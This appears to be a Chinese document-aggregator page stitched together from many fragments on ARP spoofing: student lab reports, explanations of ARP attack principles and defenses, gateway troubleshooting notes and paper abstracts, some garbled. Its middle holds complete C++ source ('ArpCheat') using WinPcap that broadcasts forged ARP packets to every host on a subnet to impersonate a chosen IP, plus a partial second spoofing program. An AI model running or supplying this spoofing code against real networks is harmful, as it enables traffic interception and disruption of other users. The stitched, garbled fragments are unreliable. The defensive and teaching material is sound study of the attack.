基于WinPcap 的ARP 欺骗攻击

合集下载

实验三 ARP欺骗攻击防御

实验三 ARP欺骗攻击防御

《网络安全与管理》实验报告
实验名称ARP欺骗攻击防御实验室419 实验日期2014.6.10
②输入账号administrator ,密码123456,登录到实验场景中的目标主机。

winpacp已经安装,然后打开d:\tools\arp攻击器v3.0升级版。

arp攻击器,选中scan扫描下,便可扫描到网内的主机,后选中目标主机。

④对目标机进行ip占用。

防御
防火墙,打开d:\tools \antiarp.exe(需要先解压缩),然后双击安装程序,进入安装向导,接受许可协议并下一步,选默认安装路径并下一步,单击安装,在安装过程中,会出现一提示,按提示操作后,解定即可。

通过本次实验,我掌握了arp欺骗攻击和arp防御更改操作,深刻领会到了网络安全的从影响网络连接通畅的方式来看,arp欺骗分为二种,一种是对路由器
的网关欺骗。

欺骗的原理是——截获网关数据。

它通知路由器一系列错误的内网
并按照一定的频率不断进行,使真实的地址信息无法通过更新保存在路由器中,。

简述arp欺骗攻击的原理和防范对策

简述arp欺骗攻击的原理和防范对策

简述arp欺骗攻击的原理和防范对策ARP(Address Resolution Protocol)欺骗攻击是一种网络攻击技术,它利用ARP协议的特性进行欺骗、中间人攻击或局域网内的ARP 缓存中毒。

攻击者发送虚假的ARP响应消息来欺骗其他网络设备,使其将流量发送给攻击者,从而实现对网络通信的窃听、修改或阻断。

ARP协议是将IP地址映射到物理MAC地址的协议,通过向局域网中广播ARP请求,获取目标IP地址对应的MAC地址。

正常情况下,ARP请求是一个广播消息,网络上所有的设备都能收到该消息并回应自己的MAC地址。

然而,攻击者可以发送伪造的ARP响应消息,将自己的MAC地址伪装成目标的MAC地址。

这样,其他网络设备在收到欺骗者的ARP响应后,会将网络流量发送到欺骗者的MAC地址,从而攻击者就可以进行中间人攻击。

ARP欺骗攻击的原理主要包括以下几个步骤:广播欺骗请求、单播响应欺骗响应、IP间隔设备攻击、流量截获及篡改。

防范ARP欺骗攻击需要采取多层次的安全措施,包括物理层安全、网络设备安全和安全策略的制定。

一、物理层安全防范1.硬件设备安全:保证网络设备的物理安全,避免被攻击者直接接触或篡改网络设备。

2.网线加密:使用数字加密技术或物理加密设备,对通信网络中的网线进行加密处理,避免ARP欺骗攻击者通过在网线上截获数据。

3. MAC地址绑定:通过网络硬件设备的管理接口,将MAC地址与设备绑定,限制非法设备访问网络,避免ARP欺骗攻击者伪造MAC地址来进行攻击。

二、网络设备防范1.安全认证机制:为网络设备设置访问口令或使用其他身份验证方法,只允许授权设备进行网络操作,避免非法设备接入网络。

2. MAC地址过滤:设置ACL(Access Control List)策略,限制网络中不合法的MAC地址出现,只允许合法设备进行通信。

3. ARP缓存绑定:为网络设备的ARP缓存表添加绑定条目,将IP 地址与MAC地址进行绑定,确保只有指定的MAC地址可以响应对应的IP地址。

局域网中ARP欺骗攻击解决方法当局域网内某台主机运行ARP欺骗的木马程序时

局域网中ARP欺骗攻击解决方法当局域网内某台主机运行ARP欺骗的木马程序时

局域网中ARP欺骗攻击解决方法当局域网内某台主机运行ARP欺骗的木马程序时,会欺骗局域网内所有主机和安全网关,让所有上网的流量必须经过病毒主机。

【故障现象】当局域网内某台主机运行ARP欺骗的木马程序时,会欺骗局域网内所有主机和安全网关,让所有上网的流量必须经过病毒主机。

其他用户原来直接通过安全网关上网现在转由通过病毒主机上网,切换的时候用户会断一次线。

切换到病毒主机上网后,如果用户已经登陆了传奇服务器,那么病毒主机就会经常伪造断线的假像,那么用户就得重新登录传奇服务器,这样病毒主机就可以盗号了。

由于ARP欺骗的木马程序发作的时候会发出大量的数据包导致局域网通讯拥塞以及其自身处理能力的限制,用户会感觉上网速度越来越慢。

当ARP欺骗的木马程序停止运行时,用户会恢复从安全网关上网,切换过程中用户会再断一次线。

【快速查找】在WebUIà系统状态à系统信息à系统历史记录中,看到大量如下的信息:MAC SPOOF 192.168.16.200MAC Old 00:01:6c:36:d1:7fMAC New 00:05:5d:60:c7:18这个消息代表了用户的MAC地址发生了变化,在ARP欺骗木马开始运行的时候,局域网所有主机的MAC地址更新为病毒主机的MAC地址(即所有信息的MAC New地址都一致为病毒主机的MAC地址)。

同时在安全网关的WebUIà高级配置à用户管理à读ARP表中看到所有用户的MAC地址信息都一样,或者在WebUIà系统状态à用户统计中看到所有用户的MAC地址信息都一样。

如果是在WebUIà系统状态à系统信息à系统历史记录中看到大量MAC Old地址都一致,则说明局域网内曾经出现过ARP欺骗(ARP欺骗的木马程序停止运行时,主机在安全网关上恢复其真实的MAC地址)。

在上面我们已经知道了使用ARP欺骗木马的主机的MAC地址,那么我们就可以使用NBTSCAN(下载地址:/upload/nbtscan.rar)工具来快速查找它。

实验六 基于某WinPcap的ARP欺骗实验

实验六  基于某WinPcap的ARP欺骗实验

网络程序设计实验报告实验名称:基于WinPcap的ARP欺骗实验实验类型:验证型指导教师:贾浩专业班级:信安1204姓名:马灿学号:20123252电子:实验地点:东6 E307实验日期:实验成绩:__________________________一、实验目的掌握WinPcaP的安装和配置;掌握ARP协议工作原理和格式;掌握WinPcap发包程序的编写;掌握防ARP地址欺骗的方法和措施;了解常用抓包软件,Wireshark、Sniffer Pro等网络包分析软件的使用二、实验设计ARP原理ARP协议:ARP,全称Address Resolution Protocol,中文名为地址解析协议,它工作在数据链路层,在本层和硬件接口联系,同时对上层提供服务。

IP 数据包常通过以太网发送,以太网设备并不识别32位IP地址,它们是以48位以太网地址传输以太网数据包。

因此,必须把IP目的地址转换成以太网目的地址。

这个过程称为地址解析,用于将IP地址解析成硬件地址的协议就被称为地址解析协议(ARP协议)。

即ARP协议用于将网络中的IP地址解析为的硬件地址(MAC地址),以保证通信的顺利进行,这个过程是动态、自动完成且对用户是透明的。

(1).ARP报头结构ARP报头结构,如上图所示。

硬件类型字段:指明了发送方想知道的硬件接口类型,以太网的值为1;协议类型字段:指明了发送方提供的高层协议类型,IP为0800(16进制);硬件地址长度和协议长度:指明了硬件地址和高层协议地址的长度,这样ARP报文就可以在任意硬件和任意协议的网络中使用;操作字段:用来表示这个报文的类型,ARP请求为1,ARP响应为2,RARP 请求为3,RARP响应为4;发送方的硬件地址(0-3字节):源主机硬件地址的前3个字节;发送方的硬件地址(4-5字节):源主机硬件地址的后3个字节;发送方IP (0-1字节):源主机硬件地址的前2个字节;发送方IP(2-3字节):源主机硬件地址的后2个字节;目的硬件地址(0-1字节):目的主机硬件地址的前2个字节;目的硬件地址(2-5字节):目的主机硬件地址的后4个字节;目的IP(0-3字节):目的主机的IP地址。

ARP欺骗源代码(基于WinPcap实现)

ARP欺骗源代码(基于WinPcap实现)

//ArpCheat.h#ifndef MY_ARP_CHEAT_INCLUDE_H#define MY_ARP_CHEAT_INCLUDE_H//字节对齐必须是1#pragma pack (1)struct ethernet_head{unsigned char dest_mac[6]; //目标主机MAC地址unsigned char source_mac[6]; //源端MAC地址unsigned short eh_type; //以太网类型};struct arp_head{unsigned short hardware_type; //硬件类型:以太网接口类型为1unsigned short protocol_type; //协议类型:IP协议类型为0X0800unsigned char add_len; //硬件地址长度:MAC地址长度为6Bunsigned char pro_len; //协议地址长度:IP地址长度为4Bunsigned short option; //操作:ARP请求为1,ARP应答为2unsigned char sour_addr[6]; //源MAC地址:发送方的MAC地址unsigned long sour_ip; //源IP地址:发送方的IP地址unsigned char dest_addr[6]; //目的MAC地址:ARP请求中该字段没有意义;ARP响应中为接收方的MAC地址unsigned long dest_ip; //目的IP地址:ARP请求中为请求解析的IP地址;ARP响应中为接收方的IP地址unsigned char padding[18];};struct arp_packet //最终arp包结构{ethernet_head eth; //以太网头部arp_head arp; //arp数据包头部};#pragma pack ()/*** 获得网卡的MAC地址* pDevName 网卡的设备名称*/unsigned char* GetSelfMac(char* pDevName);/*** 封装ARP请求包* source_mac 源MAC地址* srcIP 源IP* destIP 目的IP*/unsigned char* BuildArpPacket(unsigned char* source_mac,unsigned long srcIP, unsigned long destIP); #endif//ArpCheat.cpp#include <stdio.h>#include <pcap.h>#include <conio.h>#include <packet32.h>#include <ntddndis.h>#include "ArpCheat.h"int main(int argc,char* argv[]){pcap_if_t *alldevs; //全部网卡列表pcap_if_t *d; //一个网卡int inum; //用户选择的网卡序号int i=0; //循环变量pcap_t *adhandle; //一个pcap实例char errbuf[PCAP_ERRBUF_SIZE]; //错误缓冲区unsigned char *mac; //本机MAC地址unsigned char *packet; //ARP包unsigned long fakeIp; //要伪装成的IP地址pcap_addr_t *pAddr; //网卡地址unsigned long ip; //IP地址unsigned long netmask; //子网掩码if(argc!=2){printf("Usage: %s inet_addr\n",argv[0]);return -1;}//从参数列表获得要伪装的IP地址fakeIp = inet_addr(argv[1]);if(INADDR_NONE==fakeIp){fprintf(stderr,"Invalid IP: %s\n",argv[1]);return -1;}/* 获得本机网卡列表*/if (pcap_findalldevs_ex(PCAP_SRC_IF_STRING, NULL, &alldevs, errbuf) == -1) {fprintf(stderr,"Error in pcap_findalldevs: %s\n", errbuf);exit(1);}/* 打印网卡列表*/for(d=alldevs; d; d=d->next){printf("%d", ++i);if (d->description)printf(". %s\n", d->description);elseprintf(". No description available\n");}//如果没有发现网卡if(i==0){printf("\nNo interfaces found! Make sure WinPcap is installed.\n");return -1;}//请用户选择一个网卡printf("Enter the interface number (1-%d):",i);scanf("%d", &inum);//如果用户选择的网卡序号超出有效范围,则退出if(inum < 1 || inum > i){printf("\nInterface number out of range.\n");/* Free the device list */pcap_freealldevs(alldevs);return -1;}/* 移动指针到用户选择的网卡*/for(d=alldevs, i=0; i< inum-1 ;d=d->next, i++);mac = GetSelfMac(d->name+8); //+8以去掉"rpcap://"printf("发送ARP欺骗包,本机(%.2X-%.2X-%.2X-%.2X-%.2X-%.2X) 试图伪装成%s\n", mac[0],mac[1],mac[2],mac[3],mac[4],mac[5],argv[1]);/* 打开网卡*/if ( (adhandle= pcap_open(d->name, // name of the device65536, // portion of the packet to capture0, //open flag1000, // read timeoutNULL, // authentication on the remote machine&nbsp; errbuf // error buffer) ) == NULL){fprintf(stderr,"\nUnable to open the adapter. %s is not supported by WinPcap\n",d->name);/* Free the device list */pcap_freealldevs(alldevs);return -1;}for(pAddr=d->addresses; pAddr; pAddr=pAddr->next){//得到用户选择的网卡的一个IP地址ip = ((struct sockaddr_in *)pAddr->addr)->sin_addr.s_addr;//得到该IP地址对应的子网掩码netmask = ((struct sockaddr_in *)(pAddr->netmask))->sin_addr.S_un.S_addr;if (!ip || !netmask){continue;}//看看这个IP和要伪装的IP是否在同一个子网if((ip&netmask)!=(fakeIp&netmask)){continue; //如果不在一个子网,继续遍历地址列表}unsigned long netsize = ntohl(~netmask); //网络中主机数unsigned long net = ip & netmask; //子网地址for(unsigned long n=1; n<netsize; n++){//第i台主机的IP地址,网络字节顺序unsigned long destIp = net | htonl(n);//构建假的ARP请求包,达到本机伪装成给定的IP地址的目的packet = BuildArpPacket(mac,fakeIp,destIp);if(pcap_sendpacket(adhandle, packet, 60)==-1){fprintf(stderr,"pcap_sendpacket error.\n");}}}return 0;}/*** 获得网卡的MAC地址* pDevName 网卡的设备名称*/unsigned char* GetSelfMac(char* pDevName){static u_char mac[6];memset(mac,0,sizeof(mac));LPADAPTER lpAdapter = PacketOpenAdapter(pDevName);if (!lpAdapter || (lpAdapter->hFile == INVALID_HANDLE_VALUE)){return NULL;}PPACKET_OID_DATA OidData = (PPACKET_OID_DATA)malloc(6 + sizeof(PACKET_OID_DATA)); if (OidData == NULL){PacketCloseAdapter(lpAdapter);return NULL;}//// Retrieve the adapter MAC querying the NIC driver//OidData->Oid = OID_802_3_CURRENT_ADDRESS;OidData->Length = 6;memset(OidData->Data, 0, 6);BOOLEAN Status = PacketRequest(lpAdapter, FALSE, OidData);if(Status){memcpy(mac,(u_char*)(OidData->Data),6);}free(OidData);PacketCloseAdapter(lpAdapter);return mac;}/*** 封装ARP请求包* source_mac 源MAC地址* srcIP 源IP* destIP 目的IP*/unsigned char* BuildArpPacket(unsigned char* source_mac,unsigned long srcIP,unsigned long destIP) {static struct arp_packet packet;//目的MAC地址为广播地址,FF-FF-FF-FF-FF-FFmemset(packet.eth.dest_mac,0xFF,6);//源MAC地址memcpy(packet.eth.source_mac,source_mac,6);//上层协议为ARP协议,0x0806packet.eth.eh_type = htons(0x0806);//硬件类型,Ethernet是0x0001packet.arp.hardware_type = htons(0x0001);//上层协议类型,IP为0x0800packet.arp.protocol_type = htons(0x0800);//硬件地址长度:MAC地址长度为0x06packet.arp.add_len = 0x06;//协议地址长度:IP地址长度为0x04packet.arp.pro_len = 0x04;//操作:ARP请求为1packet.arp.option = htons(0x0001);//源MAC地址memcpy(packet.arp.sour_addr,source_mac,6);//源IP地址packet.arp.sour_ip = srcIP;//目的MAC地址,填充0memset(packet.arp.dest_addr,0,6);//目的IP地址packet.arp.dest_ip = destIP;//填充数据,18Bmemset(packet.arp.padding,0,18);return (unsigned char*)&packet;}VC++ 6.0 中使用WinPcap下载并安装WinPcap,安装之后在目录”C:\WINDOWS\system32“下WinPcap添加了Packet.dll、wpcap.dll。

基于winpcap的arp欺骗简单实现

基于winpcap的arp欺骗简单实现
/*填充数据*/
for(j=42;j<60;j++)
{
packet[j]=0x00;
}
/*在屏幕上输出数据报*/
for(i=0;i<60;i++)
{
printf("%x ",packet[i]);
} //int k=10;
/*发送数据报*/
u_char packet[60];
pcap_t *adhandle; /* 获得设备列表 */
if (pcap_findalldevs(&alldevs, errbuf) == -1)
{
fprintf(stderr,"Error in pcap_findalldevs: %s\n", errbuf); exit(1);
/*目的以太网地址,同首部中目的地址*/
for(i=32;i<38;i++)
{
packet[i]=packet[i-32];
}
/*目的IP地址,手动输入*/
printf("输入被攻击方的ip地址\n");
scanf("%d.%d.%d.%d",&packet[38],&packet[39],&packet[40],&packet[41]);
if ( (adhandle= pcap_open_live(d->name, // 设备名
65536, // 要捕捉的数据包的部分
// 65535保证能捕获到不同数据链路层上的每个数据包的全部内容
1, // 混杂模式

基于WinPcap的ARP欺骗攻击检测器的设计与实现

基于WinPcap的ARP欺骗攻击检测器的设计与实现

…பைடு நூலகம்



’ 。
实用第一 智慧密集
… … … .

基于 WiP i n cp的 a
欺骗攻击
检测器的设计与实现
该检 测 器具有捕 获数据 包和 分析数 据 包的功能 ,可 以帮助检 测 A RP欺骗 。
关 键 词 :A RP欺 骗 ;W iP a :数 据 报 捕 获 n cp
存 的 使 用效 率 。但 是 ,这 个 优 点 却 成 了恶 意 者攻 击 的 帮 凶 。虽 然 每 个 I- C记 录存 在 都 是 有 生 存 期 的 ,但是 只要 恶 意 者 在 P MA 这 个 记 录更 新 之 前 改 变 了这 条 记 录 ,那 么似 的记 录就 会 存 储 在
缓 存 .在这 个 时 间 内 ,相 应 的 主 机 就会 被 欺 骗 。
本 地 A P缓 存 中 ,而 不 进 行 任 何 认 证 ,这 就 是 A P安 全漏 洞 R R
的本 质 :无状 态性 。这 也是 会 造 成 A P欺 骗 的一 个 重 要 原 因 。 R 针 对 上述 的漏 洞 .局域 网 巾 的任 何 一 台主 机 只 要伪 造 一 个 虚 假 的 A P请 求 包 并 且 不 停 地 广 播 或 不 停 发送 应 答 包 ( 果 R 如 伪 造 网关 欺 骗 ,就 以广 播 方 式 ) ,局 域 网 的 主 机 收 到 请 求 包 或
( )用 户频 繁 断 网 ; ( )l 浏 览 器 频 繁 出 错 ; ( )一 1 2 E 3 些 常 用 软 件 出现 故 障 等 问题 。 比如 . 中 了冰 橙 子 11 . 4的 木 马 的 机 器 即 会 遭 受 到 A P欺 R 骗 攻 击 ,该 木 马 会 运 行 一 个 名 为 “ R . t 的进 程 .用 户 可 MI 0 a ” d 通 过 察 看 任务 管理 器 中 的进 程 信 息 ( 同时 按 下 组合 键 :C R + T L A J+D L I r r E )来 判 断 计 算 机 是 否 感 染 该 病 毒 。 如 果 有 “ R . MI 0

基于WinPcap和ARP欺骗实现交换环境嗅探

基于WinPcap和ARP欺骗实现交换环境嗅探
维普资讯
第 2 卷 第 l期 8 0
VO128 . N O. 0 1
计 算机 工程 与 设 计
Co ue n ie rn ndDe i n mp trE g n eig a sg
20 年 5 07 月
M a 0 7 y2 0
基于 Wi cp A P欺骗实现交换环境嗅探 n a和 R P
Ab t a t T a i o a t o so a k t n f n a ’ b a ie wi h d eh r e . Afe i e e c sb t e h r d a d s t h d sr c : rd t n l i meh d f c e i g c nt er l d i s t e t e n t p s i e z n c t rd f r n e e we n s a e wi e n c
孙 海峰 , 宋 丽丽
( 南科技 大 学 计 算机 科 学与技 术 学 院, 四川 绵 阳 6 11) 西 200
摘 要 : 统 的数据 嗅 探 方法 不 能在 交换 式局 域 网环 境 下 实现 。在 分析 了局 域 网的共 享 环境 和 交换 环 境各 自特 点后 , 传 基
于地 址解 析协 议 A RP的 工 作 原 理 , 出 一 种 利 用 AR 提 P欺 骗 实现 中 间人 攻 击 , 而 实 现 交换 环 境 数 据 嗅 探 的 方 法 。 利 用 从 WiP a 驱 动 实 现 的 嗅 探 软 件 降 低 了对 操 作 系 统 版 本 的 依 赖 程 度 , 个 过 程 包括 了 AR 欺 骗 和 欺 骗 后 的 恢 复 , ncp 整 P 以及 数 据
S UN ifn . S Ha.e g ON G .i Li1

局域网ARP欺骗攻击及安全防范策略论文

局域网ARP欺骗攻击及安全防范策略论文

局域网ARP欺骗攻击及安全防范策略论文摘要:随着互联网的发展,ARP(Address Resolution Protocol)欺骗攻击已经成为局域网中常见的安全威胁。

本论文从ARP欺骗攻击的原理、方法及对局域网安全的威胁进行了详细的介绍,同时给出了一些有效的防范策略。

1.引言ARP是在数据链路层与网络层之间建立映射关系的协议。

它将IP地址映射到MAC地址,使得不同网络层之间能够正常通信。

然而,ARP协议的不安全性导致了ARP欺骗攻击的出现。

ARP欺骗攻击者利用ARP协议的缺陷,通过伪造的ARP响应数据包,欺骗目标主机发送数据包到错误的目的地,从而能够窃取数据或进行中间人攻击。

因此,保护局域网免受ARP欺骗攻击的威胁变得尤为重要。

2.ARP欺骗攻击原理与方法ARP欺骗攻击的基本原理是攻击者制造伪造的ARP响应数据包,欺骗目标主机将数据包发送到错误的目的地。

常见的方法包括:ARP缓存污染攻击、ARP投毒攻击和ARP中间人攻击。

其中,ARP缓存污染攻击是最常见的一种。

3.ARP欺骗攻击带来的安全威胁ARP欺骗攻击给局域网带来了多种安全威胁。

首先,攻击者可以窃取用户的敏感信息,如账号密码等。

其次,攻击者可以通过中间人攻击篡改通信内容,提高攻击成功的概率。

另外,ARP欺骗攻击也可能引起网络拥塞和服务不可用等问题。

4.防范策略(1)强化网络设备安全配置:为网络设备配置安全参数,如关闭不必要的服务和端口,启用ARP检测功能等,以减少攻击的机会。

(2)实施入侵检测与防御系统(IDS/IPS):IDS/IPS可以对网络流量进行实时监控和分析,及时发现和阻止ARP欺骗攻击。

(3)使用网络安全设备:安装网络安全设备,如网络防火墙和反欺骗设备,在网络层面上提供额外的安全保护。

(4)定期更新网络设备固件和软件补丁:网络设备厂商会及时发布固件和软件补丁,修复已知的安全漏洞。

定期更新可以提高设备的安全性。

(5)加密通信数据:使用加密技术保护通信数据的机密性,即使遭受ARP欺骗攻击,攻击者也无法解密窃取的数据。

Windows网络编程实验六 基于WinPcap的ARP欺骗实验

Windows网络编程实验六  基于WinPcap的ARP欺骗实验

网络程序设计实验报告实验名称:基于WinPcap的ARP欺骗实验_实验类型:_______设计型实验__ ____指导教师:__ __ ___专业班级:_____ _______________姓名:_____ _ _____________学号:_______ _____________电子邮件:___ _________实验地点:_____ ______________实验日期:年月日实验成绩:__________________________一、实验目的掌握WinPcaP的安装和配置;掌握ARP协议工作原理和格式;掌握WinPcap发包程序的编写;掌握防范ARP地址欺骗的方法和措施;了解常用抓包软件,Wireshark、Sniffer Pro等网络包分析软件的使用二、实验设计1.背景知识ARP原理ARP协议:ARP,全称Address Resolution Protocol,中文名为地址解析协议,它工作在数据链路层,在本层和硬件接口联系,同时对上层提供服务。

IP数据包常通过以太网发送,以太网设备并不识别32位IP地址,它们是以48位以太网地址传输以太网数据包。

因此,必须把IP目的地址转换成以太网目的地址。

这个过程称为地址解析,用于将IP地址解析成硬件地址的协议就被称为地址解析协议(ARP协议)。

即ARP协议用于将网络中的IP地址解析为的硬件地址(MAC地址),以保证通信的顺利进行,这个过程是动态、自动完成且对用户是透明的。

(1).ARP报头结构ARP报头结构,如上图所示。

硬件类型字段:指明了发送方想知道的硬件接口类型,以太网的值为1;协议类型字段:指明了发送方提供的高层协议类型,IP为0800(16进制);硬件地址长度和协议长度:指明了硬件地址和高层协议地址的长度,这样ARP报文就可以在任意硬件和任意协议的网络中使用;操作字段:用来表示这个报文的类型,ARP请求为1,ARP响应为2,RARP请求为3,RARP响应为4;发送方的硬件地址(0-3字节):源主机硬件地址的前3个字节;发送方的硬件地址(4-5字节):源主机硬件地址的后3个字节;发送方IP(0-1字节):源主机硬件地址的前2个字节;发送方IP(2-3字节):源主机硬件地址的后2个字节;目的硬件地址(0-1字节):目的主机硬件地址的前2个字节;目的硬件地址(2-5字节):目的主机硬件地址的后4个字节;目的IP(0-3字节):目的主机的IP地址。

基于WINPCAP实现ARP欺骗攻击

基于WINPCAP实现ARP欺骗攻击

基于WINPCAP实现ARP欺骗攻击
宋玉芹
【期刊名称】《吉林省教育学院学报.学术版》
【年(卷),期】2011(027)009
【摘要】在任何一个操作系统中,无论是广泛使用的Windows、Linux还是其他的Unix,都无一例外地支持ARP协议,也无一例外地被ARP欺骗攻击困扰,至
今国内外仍然没有一种特别有效的防御方法。

本文首先分析ARP欺骗攻击的原理,在模拟的环境中,用WINPCAP和VC实现了ARP欺骗攻击的三种欺骗攻击。

最后提出观点,只有不断对ARP协议进行升级,改进算法,或是提出新的替代协议,才是真正解决ARP欺骗攻击防御的核心方法。

【总页数】3页(P150-152)
【作者】宋玉芹
【作者单位】长春工业大学人文信息学院,吉林长春130122
【正文语种】中文
【中图分类】TP393.4
【相关文献】
1.基于WinPcap的校园网ARP病毒检测防御系统设计与实现 [J], 王晓妮;韩建刚
2.基于WinPcap实现以太网内的ARP代理 [J], 花泉;宋建新
3.基于WinPcap的ARP欺骗攻击检测器的设计与实现 [J], 安玉红
4.基于WinPcap的ARP欺骗检测系统设计与实现 [J], 沈学利;李颖
5.基于Winpcap的网关型ARP病毒防御系统的实现 [J], 魏为;韩慧莲;靳丽平
因版权原因,仅展示原文概要,查看原文内容请购买。

基于Winpcap的网关型ARP病毒防御系统的实现

基于Winpcap的网关型ARP病毒防御系统的实现
AB T S RAC T
文献 标 识 码 :A
B n l zn h h r ce it s o y a ay i g t e c a a t r i f ARP- c e t g a t c t t e g t wa sc - h a i t a k a h a e y, i h e vc f p e e v t n o e l n n t e s r ie o r s r a i f r a o
同, ARP欺骗 病毒 分 为两种 : 一种 欺 骗主机 , 为主机 型 AR P欺骗 病毒 ; 另一 种欺 骗 网关 , 网关 型 ARP欺 骗 为
病毒。
毒, 自身 不具备 主动传播 的特性 , 不会 自我 复制 。但是
由于其 发 作 的时候会 不断 向全 网发送 伪 造 的 ARP数 据包, 导致 网络无 法正常运行 , 严重 的甚 至 可能带来 整 个 网络 的瘫痪 。此外 , 还会窃取 用户密 码 。如盗 取 QQ
网关 型 ARP欺 骗 病毒 仅 针 对 网关 , 此相 对 隐 因
蔽 , 易 觉 察 , 毒 主 机 通 过 向网关 发 送 AR 不 病 P报 文 ,
导 致 网关 的 ARP表发 生 改 变 , 而 导 致 用 户 不 能 上 从 网 。由于 ARP欺骗 发生 在 网关设 备 这一端 , 以 即使 所 用 户端 硬 件设 备及 软 件 系统 一切 正 常 , 不能 正 常 上 仍 网。在 网关设 备 上察 看 ARP表 时 , 发 现表 中 的 I 、 会 P MAC地 址 与实 际不 符 , 出现若 干 个 I 或 P地 址对 应 于 同一 个 M A C地址 的现象 , 在用 户数 量众 多 的 区域 , 甚 至会 出现 数 百 个 I P地 址 对应 于 同一 个 MAC地 址 的

基于Winpcap中的ARP欺骗诊断分析设计

基于Winpcap中的ARP欺骗诊断分析设计

基于Winpcap中的ARP欺骗诊断分析设计题目基于Winpcap中的ARP欺骗诊断分析学生姓名刘永超学号 1113014135 所在学院物理与电信工程学院专业班级电子1104 指导教师李菊叶完成地点博远楼计算机信息处理实验室陕西理工学院毕业设计2015 年 6 月 1 日毕业论文﹙设计﹚任务书院(系) 物电学院专业班级电子信息工程1104 学生姓名刘永超一、毕业论文﹙设计﹚题目基于WinP c ap 中的ARP欺骗诊断分析二、毕业论文﹙设计﹚工作自 2015 _年 3 _月 10日起至 2015__年 6 月 20 日止三、毕业论文﹙设计﹚进行地点: 物电学院计算机信息处理分室四、毕业论文﹙设计﹚的内容要求:1、本次毕业设计要求如下:ARP欺骗攻击是目前较为严重的一种网络安全问题,它利用ARP协议的漏洞来进行网络欺骗和攻击,通过发送错误的IP/MAC地址更新欺骗主机的ARP缓存表,使主机间不能正常通信,给网络安全构成了极大的威胁。

本设计要求学生熟悉掌握ARP协议及工作原理,了解现有针对ARP欺骗攻击的防御方法。

并要求在模拟环境中提出一种网络级的检测方法,进行抵御ARP欺骗攻击的测试,进行诊断分析。

2、毕业设计成果要求:测试结果和论文,论文要求计算机打印(A4纸),论文有不少于3000词的相关英文中文翻译。

3、毕业设计时间安排:1—4周:查阅相关资料,熟悉题目内容,完成系统需求分析、相关硬件及软件环境的选择。

提交开题报告;5—10周:根据ARP的工作原理,及现有ARP 欺骗攻击的防御方法,给出设计方案。

11—12周:并在软件环境下进行运行调试,进一步完善系统功能,整理资料;13—14周:毕业设计验收;15—16周:撰写、修改、提交毕业论文,毕业答辩。

指导教师系(教研室) 系(教研室)主任签名批准日期接受论文(设计)任务开始执行日期学生签名基于Winpcap中的ARP欺骗诊断分析刘永超(陕西理工学院物理与电信工程学院电子信息工程专业,2011级4班,陕西汉中 723003)指导教师:李菊叶[摘要]近年来,ARP攻击日益严重。

ARP欺骗攻击防御

ARP欺骗攻击防御

ARP欺骗攻击防御ARP(Address Resolution Protocol)是一个用于在IP地址和物理硬件地址(MAC地址)之间建立映射关系的协议。

它在网络通信中发挥着重要的作用,但同时也存在着被攻击者利用的漏洞。

ARP欺骗攻击是一种利用ARP协议的安全漏洞,攻击者通过发送虚假的ARP响应,将网络中的主机重定向到攻击者的设备上。

这不仅会导致网络流量被中间人窃听和篡改,还可能给机密信息的传输以及网络的安全带来严重威胁。

针对ARP欺骗攻击的防御措施主要包括以下几个方面:1. 使用静态ARP表格静态ARP表格是管理员手动配置的ARP记录,其中包含了IP地址和对应的物理地址。

这种方法可以有效地防止攻击者通过发送虚假的ARP响应来欺骗网络中的主机。

然而,这种方法的管理较为繁琐,需要管理员手动维护ARP表格,并随时更新其中的条目。

2. 使用动态ARP检测工具动态ARP检测工具可以监测网络中的ARP流量,自动检测并警告管理员可能存在的ARP欺骗攻击。

这些工具通常使用了一些智能算法来分析和比较ARP响应包,发现其中的异常和不一致性。

一旦检测到ARP欺骗攻击,系统会发送警报并采取相应的应对措施。

3. 使用加密通信协议使用加密通信协议(如HTTPS)可以增加ARP欺骗攻击的难度。

攻击者在进行ARP欺骗攻击时,虽然可以将流量重定向到自己的设备上,但由于无法破解加密通信的密钥,无法窃听或篡改加密的数据。

因此,使用加密通信协议可以极大地提高网络通信的安全性。

4. 在网络设备上启用ARP防火墙许多现代网络设备都提供了ARP防火墙的功能,可以阻止非法ARP流量的传输。

ARP防火墙基于设备的配置文件和管理员的策略,可以限制ARP请求和响应的发送和接收。

通过配置ARP防火墙,管理员可以对网络中的ARP流量进行精确控制,有效地防范ARP欺骗攻击。

5. 定期审查网络设备配置定期审查网络设备的配置可以发现可能存在的安全漏洞,并及时采取相应的措施加以修复。

基于WinArpAttacker软件的ARP攻击

基于WinArpAttacker软件的ARP攻击

基于WinArpAttacker软件的ARP攻击【摘要】本文主要介绍了ARP地址解析协议的原理以及利用WinArpAttacker这个攻击软件模拟一次ARP攻击的攻击过程,最后再介绍了防止ARP攻击的主要手段。

其中对于WinArpAttacker这个软件进行了较为详细的介绍。

【关键字】ARP WinArpAttacker ARP攻击1.引言ARP,即地址解析协议,实现通过IP地址得知其物理地址。

在TCP/IP网络环境下,每个主机都分配了一个32位的IP地址,这种互联网地址是在网际范围标识主机的一种逻辑地址。

为了让报文在物理网路上传送,必须知道对方目的主机的物理地址。

这样就存在把IP地址变换成物理地址的地址转换问题。

ARP攻击就是通过伪造IP地址和MAC地址实现ARP欺骗,能够在网络中产生大量的ARP通信量使网络阻塞,攻击者只要持续不断的发出伪造的ARP响应包就能更改目标主机ARP缓存中的IP-MAC条目,造成网络中断或中间人攻击。

ARP攻击主要是存在于局域网网络中,局域网中若有一个人感染ARP木马,则感染该ARP木马的系统将会试图通过“ARP 欺骗”手段截获所在网络内其它计算机的通信信息,并因此造成网内其它计算机的通信故障。

2.正文2.1ARP原理介绍在每台安装有TCP/IP协议的电脑里都有一个ARP缓存表,表里的IP地址与MAC地址是一一对应的。

以主机A(192.168.1.5)向主机B(192.168.1.1)发送数据为例。

当发送数据时,主机A会在自己的ARP缓存表中寻找是否有目标IP地址。

如果找到了,也就知道了目标MAC地址,直接把目标MAC地址写入帧里面发送就可以了;如果在ARP缓存表中没有找到目标IP地址,主机A就会在网络上发送一个广播,A主机MAC地址是“主机A的MAC地址”,这表示向同一网段内的所有主机发出这样的询问:“我是192.168.1.5,我的硬件地址是"主机A的MAC地址".请问IP地址为192.168.1.1的MAC地址是什么?”网络上其他主机并不响应ARP询问,只有主机B接收到这个帧时,才向主机A做出这样的回应:“192.168.1.1的MAC地址是00-aa-00-62-c6-09”。

局域网ARP欺骗和攻击解决方法

局域网ARP欺骗和攻击解决方法

